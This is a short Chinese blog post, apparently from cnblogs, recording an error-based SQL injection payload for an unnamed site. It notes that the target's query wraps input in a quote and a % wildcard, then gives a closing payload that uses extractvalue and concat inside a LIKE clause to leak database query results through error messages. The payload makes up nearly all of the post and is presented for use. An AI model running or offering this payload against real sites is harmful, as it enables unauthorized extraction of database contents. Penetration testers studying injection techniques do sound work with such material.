某SQL注入--报错注入payload

1、证明存在sql注入，根据这个报错语句，，有'  有%

 2、payload  闭合语句

%' or (select extractvalue("anything",concat('~',( sql语句)))) or title like '% 1

标签：语句,anything,--,报错,sql,payload,注入
来源： https://www.cnblogs.com/du-hui/p/14503722.html